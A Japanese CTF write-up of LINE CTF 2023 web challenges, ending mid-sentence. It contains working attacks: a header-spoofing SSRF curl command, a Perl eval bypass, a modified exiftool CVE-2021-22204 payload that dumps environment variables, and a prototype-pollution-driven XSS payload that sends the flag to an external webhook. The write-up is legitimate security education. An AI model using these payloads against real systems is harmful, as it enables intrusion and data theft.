3/25 - 3/26という日程で開催された。C++感あふれるチーム std::weak_ptr<moon>
で参加して11位だった。24時間という競技時間に対してWebが9問と多く、かつ全体的に難易度も高く、ひいひい言いつつ楽しんでいた。
競技時間中に解いた問題
[Web 100] Baby Simple GoCurl (163 solves)
Read the flag (/flag)
(問題サーバのURL)
添付ファイル: baby-simple-gocurl_3e562770d3be9c9d047169c7b235281b.tar.gz
与えられたURLにアクセスすると、次のような画面が表示された。URLを入力すると、このサーバが代わりにアクセスしてその内容を返してくれるらしい。好きなHTTPリクエストヘッダをそのアクセスの際に付与してくれる便利な機能もついている。
以下のようなソースコードが与えられている。
package main import ( "errors" "fmt" "io/ioutil" "log" "net/http" "os" "strings" "github.com/gin-gonic/gin" ) func redirectChecker(req *http.Request, via []*http.Request) error { reqIp := strings.Split(via[len(via)-1].Host, ":")[0] if len(via) >= 2 || reqIp != "127.0.0.1" { return errors.New("Something wrong") } return nil } func main() { flag := os.Getenv("FLAG") r := gin.Default() r.LoadHTMLGlob("view/*.html") r.Static("/static", "./static") r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", gin.H{ "a": c.ClientIP(), }) }) r.GET("/curl/", func(c *gin.Context) { client := &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return redirectChecker(req, via) }, } reqUrl := strings.ToLower(c.Query("url")) reqHeaderKey := c.Query("header_key") reqHeaderValue := c.Query("header_value") reqIP := strings.Split(c.Request.RemoteAddr, ":")[0] fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue) if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return } req, err := http.NewRequest("GET", reqUrl, nil) if err != nil { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return } if reqHeaderKey != "" || reqHeaderValue != "" { req.Header.Set(reqHeaderKey, reqHeaderValue) } resp, err := client.Do(req) if err != nil { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return } defer resp.Body.Close() bodyText, err := ioutil.ReadAll(resp.Body) if err != nil { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return } statusText := resp.Status c.JSON(http.StatusOK, gin.H{ "body": string(bodyText), "status": statusText, }) }) r.GET("/flag/", func(c *gin.Context) { reqIP := strings.Split(c.Request.RemoteAddr, ":")[0] log.Println("[+] IP : " + reqIP) if reqIP == "127.0.0.1" { c.JSON(http.StatusOK, gin.H{ "message": flag, }) return } c.JSON(http.StatusBadRequest, gin.H{ "message": "You are a Guest, This is only for Host", }) }) r.Run() }
気になるところをピックアップしていく。まず気になるフラグの在り処だが、どうやら /flag/
にあるらしい。ただし、127.0.0.1
からアクセスしないと弾かれてしまう。
r.GET("/flag/", func(c *gin.Context) { reqIP := strings.Split(c.Request.RemoteAddr, ":")[0] log.Println("[+] IP : " + reqIP) if reqIP == "127.0.0.1" { c.JSON(http.StatusOK, gin.H{ "message": flag, }) return } c.JSON(http.StatusBadRequest, gin.H{ "message": "You are a Guest, This is only for Host", }) })
GET /curl/
が前述のフォームの送信先となっており、これのハンドラに指定のURLにアクセスする処理が書かれている。簡単にはフラグを手に入れさせないためか、いくつかフィルターやらなんやらが入っている。
ひとつは Client.CheckRedirect
によるリダイレクト時のチェックで、対象のURLのホスト名が 127.0.0.1
でない場合は、リダイレクトができない。http://127.0.0.1:8080/flag/
へリダイレクトさせるWebページを作って、それにアクセスさせるというのは通らないようだ。
client := &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return redirectChecker(req, via) }, }
func redirectChecker(req *http.Request, via []*http.Request) error { reqIp := strings.Split(via[len(via)-1].Host, ":")[0] if len(via) >= 2 || reqIp != "127.0.0.1" { return errors.New("Something wrong") } return nil }
もうひとつはここで、127.0.0.1
からのアクセスでない限り、URLに flag
, curl
, %
が含まれていると弾かれる。直接 /flag/
にアクセスさせたり、パーセントエンコーディングで fl%61g
のようにしてバイパスしたりはできないようだ。
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return }
このとき、c.ClientIP() != "127.0.0.1"
と Context.ClientIP
が使われていることに注目する。ドキュメントによると、X-Forwarded-For
や X-Real-IP
といったHTTPリクエストヘッダを参照するらしい。なるほど使えそう。試してみる。
$ curl -H "X-Forwarded-For: 127.0.0.1" "http://34.146.230.233:11000/curl/?url=http://127.0.0.1:8080/flag" {"body":"{\"message\":\"= LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}\"}","status":"200 OK"}
フラグが得られた。
LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}
[Web 119] Old Pal (67 solves)
How about an Old Pal for your aperitif?
(問題サーバのURL)
添付ファイル: old-pal_83f83ad1987703c23f4ca32725a30385.tar.gz
以下のようなソースコードが与えられている。うわっ、Perlだ。Perlを読んだり書いたりするだけならよいのだけれども、ずらっと並ぶ関数名からフィルターをバイパスして何かをする雰囲気を感じ取って、つらい気持ちになる。
#!/usr/bin/perl use strict; use warnings; use CGI; use URI::Escape; $SIG{__WARN__} = \&warn; sub warn { print("Hacker? :("); exit(1); } my $q = CGI->new; print "Content-Type: text/html\n\n"; my $pw = uri_unescape(scalar $q->param("password")); if ($pw eq '') { print "Hello :)"; exit(); } if (length($pw) >= 20) { print "Too long :("; die(); } if ($pw =~ /[^0-9a-zA-Z_-]/) { print "Illegal character :("; die(); } if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) { print "Weak password :("; die(); } if ($pw =~ /[0-9_-][boxe]/i) { print "Do not punch me :("; die(); } if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) { print "I know eval injection :("; die(); } if ($pw =~ /[Mx. squ1ffy]/i) { print "You may have had one too many Old Pal :("; die(); } if (eval("$pw == 20230325")) { print "Congrats! Flag is LINECTF{redacted}" } else { print "wrong password :("; die(); };
どんなフィルターがあるかは後で見ていくとして、まずはこの問題で何をすべきかを確認する。最初と最後の処理を見ると、どうやら password
というクエリパラメータを eval
した結果が 20230325
と一致していればよいらしい。
my $pw = uri_unescape(scalar $q->param("password"));
if (eval("$pw == 20230325")) { print "Congrats! Flag is LINECTF{redacted}" } else { print "wrong password :("; die(); };
フィルターを見ていく。実行するコードは20文字未満かつ英数字と _
, -
以外の文字が含まれていてはいけない。
if (length($pw) >= 20) { print "Too long :("; die(); } if ($pw =~ /[^0-9a-zA-Z_-]/) { print "Illegal character :("; die(); }
数字、アルファベット、_
か -
という3つの文字種について、いずれも少なくとも1文字は使われていなければならない。ただ 20230325
と入力するだけでは解けないようになっている。
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) { print "Weak password :("; die(); }
数字や _
, -
の後に boxe
のいずれか1文字が続いてはならない。0b
や 0x
, 0o
のような接頭辞を使ったり、1.2e3
のように指数表記のために e
を使ったりすることでアルファベットを消費させないようにしている。また、M
, x
, s
, q
, u
, 1
, f
, y
のいずれかが使われている場合も弾いて、めんどくさくしている。
これらに加えて、system
や eval
といった明らかに危険な関数だけでなく、cos
や ord
といった無害な関数も含めて、大量の関数が使えないようになっている。
if ($pw =~ /[0-9_-][boxe]/i) { print "Do not punch me :("; die(); }
if ($pw =~ /[Mx. squ1ffy]/i) { print "You may have had one too many Old Pal :("; die(); }
まずはperlfuncでPerlの組み込み関数のリストを得て、これらの関数のうち、どれがフィルターがある中でも使えるか確認する。do,lock,no,tr,-r,-w,-o,-R,-W,-O,-e,-z,-d,-l,-p,-b,-c,-t,-g,-k,-T,-B,-A,-C
が使えることがわかったが、有用かどうかは微妙なところ。
perlopでどんな演算子があるかを見る。1 or xxx == 20230325
のような構造にすることで、xxx
が何であろうがtruthyになると考えたが、残念ながら [0-9_-][boxe]
のフィルターに引っかかってしまう。and
の場合はそのフィルターには引っかからないが、右辺をどうするかという問題が出てくる。1and20230325
のようにすると、and20230325
がそういう識別子だと解釈されてしまうので、それをなんとかしなければならなくなってしまう。
悩んでいると、ptr-yudaiさんがVersion Stringsなるものを使うことで、たとえば v123
が {
という文字列になる仕様を見つけた。これを利用して、20230326-v49
で 20230325
が作れる。
LINECTF{3e05d493c941cfe0dd81b70dbf2d972b}
[Web 152] Imagexif (39 solves)
This site provides you with the information of the image(EXIF) file. But there is a dangerous vulnerability here. I hope you get the data you want with the various functions of the system and your imagination.
(問題サーバのURL)
添付ファイル: imagexif_fd327e759b68136117e7f5edfc09ec0e.tar.gz
与えられたURLにアクセスすると、次のような画面が表示される。
画像のアップロードページで適当な画像を投げると、サーバ側でのファイル名、ファイルサイズ、画像サイズなどなど、画像に関する画像が色々と表示された。
docker-compose.yml
には以下のような記述があった。フラグは環境変数にあるらしい。この問題ではPythonが使われているが、os.environ
での環境変数へのアクセスはないし、FLAG
で検索しても docker-compose.yml
以外には見つからない。RCEや任意のファイルの読み出しに持ち込む必要がありそう。
environment: - FLAG=LINECTF{redacted} - SCRIPT_ENV=production
以下のようなソースコードが与えられている。なかなかシンプル。ユーザがアップロードしたファイルのファイル名をそのまま使わず、サーバ側で生成したUUIDv4の名前にリネームして使っていたり、拡張子のチェックをしていたりとちょっとセキュアに見える。
import os, queue, secrets, uuid from random import seed, randrange from flask import Flask, request, redirect, url_for, session, render_template, jsonify, Response from flask_executor import Executor from flask_jwt_extended import JWTManager from werkzeug.utils import secure_filename from werkzeug.exceptions import HTTPException import exifread, exiftool from exiftool.exceptions import * import base64, re, ast from common.config import load_config, Config from common.error import APIError, FileNotAllowed conf = load_config() work_queue = queue.Queue() app = Flask(__name__) executor = Executor(app) app.config.from_object(Config) app.jinja_env.add_extension("jinja2.ext.loopcontrols") app.config['EXECUTOR_TYPE'] = 'thread' app.config['EXECUTOR_MAX_WORKERS'] = 5 ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif']) IMAGE_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif']) @app.before_request def before_request(): userAgent = request.headers def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.errorhandler(Exception) def handle_error(e): code = 500 if isinstance(e, HTTPException): code = e.code return jsonify(error=str(e)), code @app.route('/') def index(): return render_template( 'index.html.j2') @app.route('/upload', methods=["GET","POST"]) def upload(): try: if request.method == 'GET': return render_template( 'upload.html.j2') elif request.method == 'POST': if 'file' not in request.files: return 'there is no file in form!' file = request.files['file'] if file and allowed_file(file.filename): _file = file.read() tmpFileName = str(uuid.uuid4()) with open("tmp/"+tmpFileName,'wb') as f: f.write(_file) f.close() tags = exifread.process_file(file) _encfile = base64.b64encode(_file) try: thumbnail = base64.b64encode(tags.get('JPEGThumbnail')) except: thumbnail = b'None' with exiftool.ExifToolHelper() as et: metadata = et.get_metadata(["tmp/"+tmpFileName])[0] else: raise FileNotAllowed(file.filename.rsplit('.',1)[1]) os.remove("tmp/"+tmpFileName) return render_template( 'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200 except FileNotAllowed as e: return jsonify({ "error": APIError("FileNotAllowed Error Occur", str(e)).__dict__, }), 400 except ExifToolJSONInvalidError as e: os.remove("tmp/"+tmpFileName) data = e.stdout reg = re.findall('\[(.*?)\]',data, re.S )[0] metadata = ast.literal_eval(reg) if 0 != len(metadata): return render_template( 'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200 else: return jsonify({ "error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__, }), 400 except ExifToolException as e: os.remove("tmp/"+tmpFileName) return jsonify({ "error": APIError("ExifToolException Error Occur", str(e)).__dict__, }), 400 except IndexError as e: return jsonify({ "error": APIError("File extension could not found.", str(e)).__dict__, }), 400 except Exception as e: os.remove("tmp/"+tmpFileName) return jsonify({ "error": APIError("Unknown Error Occur", str(e)).__dict__, }), 400 if __name__ == '__main__': app.run(host='0.0.0.0')
このアプリがどうやって画像の情報を取得しているか確認する。該当する部分を以下に抜き出す。情報の取得にはPyExifTool、EXIF.pyという2つのライブラリを使っており、前者は画像のサイズやEXIFなど様々な情報の取得に、後者はJPEGのサムネイルの取得のみに使われている。
with open("tmp/"+tmpFileName,'wb') as f: f.write(_file) f.close() tags = exifread.process_file(file) _encfile = base64.b64encode(_file) try: thumbnail = base64.b64encode(tags.get('JPEGThumbnail')) except: thumbnail = b'None' with exiftool.ExifToolHelper() as et: metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
ソースコードを見直したが、Path Traversalができそうな場所はどこにも見つからない。ほかの脆弱性も特に思いつかない。仕方がないのでライブラリをチェックすることにして、PyExifToolの実装を見ていると、どうやら exiftool
という実行ファイルにファイルを渡すことで画像の情報を取得しているらしいことがわかった。
では、exiftool
に脆弱性はないか。Dockerfile
が配布されていたので見てみたところ、aptを使わず、わざわざバージョンを指定してダウンロードしていることに気づいた。CTFの開催時点での最新バージョンは12.58みたいだし、12.22は2021年3月のリリースとかなり古い。怪しい。
RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
tar xvf 12.22.tar.gz && \
cp -fr /exiftool-12.22/* /usr/bin && \
rm -rf /exiftool-12.22 && \
rm 12.22.tar.gz
「exiftool 脆弱性」のようなクエリでググると、すぐにCVE-2021-22204という脆弱性が見つかった。CVE-2021-22204で検索するとPoCも見つかる。このPoCを使って生成した画像をローカルで立てたサーバにアップロードしてみたものの、リバースシェルの接続はこないし、アプリからはレスポンスが返ってこない。
あれっと思い docker-compose.yml
を見たところ、外部にはアクセスできない設定になっていた。
networks: - line-linectf2023-internal
line-linectf2023-internal: driver: bridge internal: true
PoCのコードをいじり、実行されるPerlコードを次のように変える。これで、exiftool -j …
は printenv
の実行結果を返すようになるはずだ。
my $x = `printenv`; $x =~ s/(.)/sprintf '%02x', ord $1/seg; # https://stackoverflow.com/questions/56183870/how-to-convert-char-string-to-hex-in-perl print '[{"Hoge":"'.$x.'"}]';
生成した画像をアップロードすると、printenv
の実行結果が得られた。
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=70b99d7ec46c FLAG=LINECTF{2a38211e3b4da95326f5ab593d0af0e9} SCRIPT_ENV=production LANG=C.UTF-8 GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D PYTHON_VERSION=3.11.2 PYTHON_PIP_VERSION=22.3.1 PYTHON_SETUPTOOLS_VERSION=65.5.1 PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637 HOME=/root UWSGI_RELOADS=0 UWSGI_ORIGINAL_PROC_NAME=uwsgi
フラグが得られた。
LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
[Web 290] Flag Masker (9 solves)
Gooood extension to safe flags that are exposed on your screen!
(問題サーバのURL)
flag-masker_36944966730b2d2c9377b434eeec7288.tar.gz
以下のようなメモ帳アプリが与えられる。/
にアクセスすると /(サーバ側で生成されたUUIDv4のパス)
にリダイレクトされ、メモを書き留めていけるようになる。メモ帳には所有者の概念があり、URLを共有すると第三者からもメモを見ることができるが、鍵マークにチェックを入れたメモは所有者以外には表示されない。もちろん、<
, >
, "
, '
といったよろしくない記号はいずれもサニタイズされていて、そのままではXSSできそうにない。
配布されたソースコード中の bot
というディレクトリに、Puppeteerを使ってこのメモ帳にアクセスするコードがある。/report
からメモ帳のパスを通報することができ、通報すると bot
中のコードによってbotがアクセスしに来る。
この bot
はオリジナルの拡張機能を導入しており、そいつによって LINECTF{
と }
で囲まれたメモに伏せ字が入る。たとえば、拡張機能を導入していない場合には次のように LINECTF{hoge}
と LINECTF{fuga}
という文字列がそのまま表示されるところ、
拡張機能を有効化すると、次のようにいずれも LINECTF{****}
と伏せ字が入る。
Webサーバのソースコードを読んだものの、どこにも脆弱性がないように見える。これは拡張機能に脆弱性があるパターンだ。早速読もうとするものの、content.js
, worker.js
のいずれもminifiedでちょっとめんどくさい。難読化されていないのが救いか。
Webページのコンテキストで実行されるコンテンツスクリプトである、content.js
の方から見ていく。beautifyして若干見やすくする。どうやら複数のモジュールがバンドルされているようで、576, 144という2つのモジュールが存在している。576の方は若干長めで、なんらかのライブラリっぽい。適当に含まれているコードの一部で検索すると、PurlというURLをパースするためのライブラリであることがわかった。
144の方がメインの処理っぽい。コードは以下の通り。Local Storageの config
というキーになんらかの設定を保存しているようで、もし保存されていなければ /config
から fetch
して持ってくる。そして、設定に含まれている regex
というキー、そして開いているページの head
と body
をバックグラウンドに投げる。
バックグラウンドで動いているコードからのレスポンスをもとに、もし flag
というプロパティがtruthyであれば、/(なんらかのパス)/alert
になんらかの情報を通報する。また、head
と body
を書き換える。
144: function(t, r, e) { "use strict"; var a = this && this.__importDefault || function(t) { return t && t.__esModule ? t : { default: t } }; Object.defineProperty(r, "__esModule", { value: !0 }); var n, o, i = a(e(576)); console.log("Flag Masker - content script is loaded."), n = (0, i.default)(location.href), o = {}, localStorage.config ? o = JSON.parse(localStorage.config) : fetch("/config").then((function(t) { return t.json() })).then((function(t) { localStorage.setItem("config", JSON.stringify(t)), o = t })); chrome.runtime.sendMessage({ regex: o.regex, head: window.document.head.innerHTML, body: window.document.body.innerHTML }).then((function(t) { t.flag && (window.document.head.innerHTML = t.head, window.document.body.innerHTML = t.body, fetch(n.data.attr.path + "/alert", { referrerPolicy: "unsafe-url" })) })) }
バックグラウンドで動いているスクリプトは次の通り。コンテンツスクリプトから飛んできたメッセージをもとに、head
と body
でそれぞれ与えられた正規表現を使って一部を伏せ字にする。
(() => { "use strict"; (() => { console.log("Flag Master - worker script is loaded."); var e = function(e, n) { const ret = n.replace(e, (function(e, r, a) { n = n.replace(new RegExp(r, "g"), "*".repeat(r.length)), n += "\x3c!--DETECTED FLAGS ARE MASKED BY EXTENSION--\x3e" })) return n; }; chrome.runtime.onMessage.addListener((function(n, r, a) { var t = n.regex ? new RegExp(n.regex, "g") : new RegExp("LINECTF\\{(.+)\\}", "g"); ! function(e, n) { var r = n.head, a = n.body; return e.test(r + a) }(t, n) ? a({ head: null, body: null, flag: !1 }): a({ head: e(t, n.head), body: e(t, n.body), flag: !0 }) })) })() })();
なるほど、一部を伏せ字に置き換える処理で innerHTML
を使っているのでそこでXSSができそうだけれども、そのためにはなんとかして設定を書き換える必要がある。ではどうするか。
わざわざ URL
でなく、Purlというすでにメンテナンスがされていないライブラリを使っているのが怪しい。調べると、これでPrototype Pollutionができることがわかった。
Local Storageへのアクセスは localStorage.getItem('config')
でなく localStorage.config
のようにして行われているので、Prototype Pollutionの影響を受ける。また、PurlのPrototype Pollutionは /?__proto__[hoge]=fuga
のようなURLをパースしたときに発生するが、このアプリでは n = (0, i.default)(location.href)
のように location.href
をPurlによってパースしているので、簡単にPrototype Pollutionを発生させられる。
これで伏せ字を入れる条件となる正規表現を書き換えられるようになったわけだが、ではそれでどうやってXSSに持ち込むか。メモの表示部分が次のようなHTMLになっていることに注目する。
<li> <div class="rotate-1 yellow-bg"> <p>ToDo: ACSC 2023のwriteupを書く</p> </div> </li> <li> <div class="rotate-2 yellow-bg"> <p>LINECTF{hoge}</p> </div> </li> <li> <div class="rotate-1 yellow-bg"> <i class="fa fa-lock" aria-hidden="true"></i> <p>LINECTF{fuga}</p> </div> </li>
このうち、次のスクリーンショットで選択している部分を伏せ字にすることで、<div ****LINECTF{hoge}</p>
のように置き換えられる。LINECTF{hoge}
を a onfocus=alert(123) autofocus contenteditable b
とすることで、<div ****a onfocus=alert(123) autofocus contenteditable b</p>
のように onfocus
, autofocus
, contenteditable
を持つ div
要素を作り出すことができる。
試しに a onfocus=alert(123) contenteditable autofocus b
を投稿してから、DevToolsのコンソールで localStorage.config = JSON.stringify({regex: '(class=[\\s\\S]+?<p>)onfocus'})
を実行してみる。拡張機能を有効化した状態でリロードすると、アラートが出た。実行するコードを (new Image).src = '(webhook.siteのURL)'
に変えてbotに通報した…ものの、なぜか発火しない。
botは要素のクリックやキーボードの入力といったことをまったく行わないので、user interactionなしになんとかする方法を考える必要がある。以前ACTF 2022で使ったときはうまくいかなかったが、onanimationend
ならばどうだろうか。まず、次のようなメモを投稿する。
a onanimationend=fetch(String.fromCharCode(0x2f)).then(r=>r.text()).then(r=>{Object.assign(new(Image),{src:[String.fromCharCode(104,116,116,112,115,58,47,47,…),r.match(/LINECTF{.+?}/g)[0]]})}) style=animation-name:fa-spin;animation-duration:0.1s;transform:rotate(45deg) b
/(メモ帳のUUID)?__proto__[config]={"regex":"(class=[\\s\\S]%2b?<p>)a%20onanimationend"}
を通報すると、botがフラグを投げてくれた。
LINECTF{e1930b4927e6b6d92d120c7c1bba3421}
競技終了後に解いた問題
[Web 193] Adult Simple GoCurl (23 solves)
Read the flag (/flag)
(問題サーバのURL)
添付ファイル: adult-simple-gocurl_9fd03c47bfa6bb6d4687720836633c3d.tar.gz
Baby Simple GoCurlの続き。diffを取ると、次のような変更が加えられていることがわかる。Babyでは 127.0.0.1
からのアクセスであれば /curl/
中の flag
, curl
, もしくは %
がアクセスさせるURLに含まれていると弾かれるというフィルターをバイパスできたところ、その機能が削除されてしまった。
メタ読みをすると、Babyではヘッダを付与できる機能をまったく使わなかったので、おそらくそれが今回は関わってくるのだろうと推測できる。あとは redirectChecker
の reqIp == "127.0.0.1"
ならば1回はリダイレクトを許容するという仕様も使いそう。
と言いつつ競技時間内はMDNのヘッダ一覧とにらめっこしたり、有用なヘッダがないか探したりしていたものの、結局見つからず解けなかった。
$ diff -u baby.go adult.go --- baby.go 2023-02-22 15:54:16.000000000 +0900 +++ adult.go 2023-03-26 06:57:03.812339300 +0900 @@ -32,7 +32,7 @@ r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", gin.H{ - "a": c.ClientIP(), + "a": c.RemoteIP(), }) }) @@ -49,7 +49,7 @@ reqIP := strings.Split(c.Request.RemoteAddr, ":")[0] fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue) - if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) { + if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return }
競技終了後にDiscordサーバを眺めていると、どうやら X-Forwarded-Prefix
なるものがあり、しかもGinも対応しているらしいとわかった。試してみると、たしかにフラグが得られた。マジか…。
LINECTF{b80233bef0ecfa0741f0d91269e203d4}
[Web 322] Another Secure Store Note (7 solves)
Just a simple app to store notes.
(問題サーバのURL)
添付ファイル: another-secure-store-note_fc34cb6c20a5c9ea7feca24f29f29e3c.tar.gz
与えられたURLにアクセスすると、次のようにログインフォームが表示される。適当なユーザ名とパスワードを入力してログインする。
ログインすると、メモ帳的なものが表示される。下のフォームがメモ帳で、適当なメモを入力するとLocal Storageに保存される…のだけれども、ただ保存されるだけで、リロードしても画面には表示されないのでメモ帳としては機能していない。上のフォームで名前が変更できる。たとえば、ユーザ名からそのまま取られた nekochan
という名前だったところ、以下のように (ΦωΦ) nekochan
と変更できた。
ここで <s>test</s>
という名前に変更しようとしたところ、以下のように打ち消し線の入った test
が表示された。HTML Injectionができるようだ。
ただし、Content-Security-Policy: default-src 'self'; base-uri 'self'; script-src 'nonce-defb556ce596ec412e727047773b79fb6cb1efa5'
のようにnonce-basedなCSPがレスポンスヘッダに含まれているので、ただ <script>alert(123)</script>
や <img src=x onerror=alert(123)>
のようにスクリプトを挿入するだけでは、XSSに持ち込むことができない。injectionするタイミングで使われるnonceを特定する必要がある。また、名前の変更時にはCSRFトークンが投げられているので、Self-XSSで終わらせないためにもこちらもなんとかして特定する必要がある。
ソースコードが与えられているので、CSRF対策や、CSPとnonce周りの処理を見ていく。まずCSRF対策だが、次のようにログイン時にセッションIDにランダムな文字列をCSRFトークンとして結びつけていることがわかる。nonceも同様。なお、CSRFトークンはログイン時以外では書き換えられていないので、一度特定できればその後いくらでも使い回せる。もう一点気になるところとして、Cookieの SameSite
属性が None
であるため、CSRFがやりやすくなっている。
function rand() { return crypto.randomBytes(20).toString('hex') } // … function csrfCheck(req, res, next) { const { csrf } = req.body if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`) next() } //… app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => { const { username, password } = req.body try { if (db.users[username]) { if (db.users[username].password !== password) throw 'Wrong password'; } else createNewUser(username, password) const newCookie = rand() db.cookies[newCookie] = Object.create(null) db.cookies[newCookie].username = username db.cookies[newCookie].csrf = rand() db.cookies[newCookie].nonce = rand() res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`) res.redirect('/profile') } catch (err) { res.redirect(`/?error=${err}`) } })
こうして生成されたCSRFトークンは、次のように views/getSettings.js
というテンプレートファイルの一部を書き換えてユーザのもとに届けられる。
const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8'); app.get('/getSettings.js', (req, res) => { res.setHeader('Content-Type', 'text/javascript'); const response = ejs.render(settingsFile, { csrf: getCsrf(req.cookies.id), domain: process.env.DOMAIN, }); res.end(response); })
getSettings.js
は次の通り。これがログインページや名前の変更ページから読み込まれて、フォームにCSRFトークンがセットされるという形で使われている。これを別のオリジンから読み込んで(せっかく SameSite
属性が None
でCookieが飛ぶので、それを利用して)CSRFトークンを奪おうとしても、document.domain
のチェックによって弾かれてしまうのではないかと思ったが、どうやら Object.defineProperty(document, 'domain', …)
でバイパスできるらしい。これでCSRFトークンを奪えそう。
function isInWindowContext() { const tmp = self; self = 1; // magic const res = (this !== self); self = tmp; return res; } // Ensure it is in window context with correct domain only :) // Setting up variables and UI if (isInWindowContext() && document.domain === '<%= domain %>') { const urlParams = new URLSearchParams(location.search); try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {} try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {} try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {} }
続いて、CSPとnonce周りを見ていく。nonceはログイン時以外にも、/csp.gif
へのアクセス時に新しいものに変更される。/csp.gif
は名前の変更ページで <img src=csp.gif>
でこっそりと叩かれており、名前の変更ページにアクセスするとnonceが変更されるという仕組みになっている。
app.use((req, res, next) => { const { id } = req.cookies; req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined; const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : ''; res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`) next() }) // … app.get('/csp.gif', shouldBeLoggedIn, (req, res) => { db.cookies[req.cookies.id].nonce = rand() res.setHeader('Content-Type', 'image/gif') res.send('OK') }) // … app.get('/profile', shouldBeLoggedIn, (req, res) => { res.render('profile.ejs', { name: db.users[req.user].name, nonce: db.cookies[req.cookies.id].nonce, }); })
では、nonceをどうやって盗み出すか。以下に、HTML Injection可能な箇所から、もっとも近いnonceを持つ script
要素までを抜き出した。よく見ると、属性値を "
で囲んでいたり、囲んでいなかったり、"
でなく '
を使っていたりとちぐはぐになっていることがわかる。
<h1>📕 <s>test</s> secured notes 📕</h1> <div> <form method=POST> Wanna change your name? <input class=change-name type=text name=name placeholder="🐻 Brown"> <input type=hidden name=csrf id=_csrf> <input type=submit value=Submit> <p class=red id=error></p> <p class=green id=message></p> </form> </div> </div> <div class=main> Can you tell me a secret? It will securely kept in "localStorage" of this page. <textarea id=secret></textarea> <input id=submit_storage type=submit value=Store> <script nonce=5411ab8642f0f2a4edef6490427d57c7dd5c82a5 type='application/javascript'>
もし <img src='//example.com?a=
のような名前にするとどうなるだろうか。試しに変えてみると、script
要素の type=
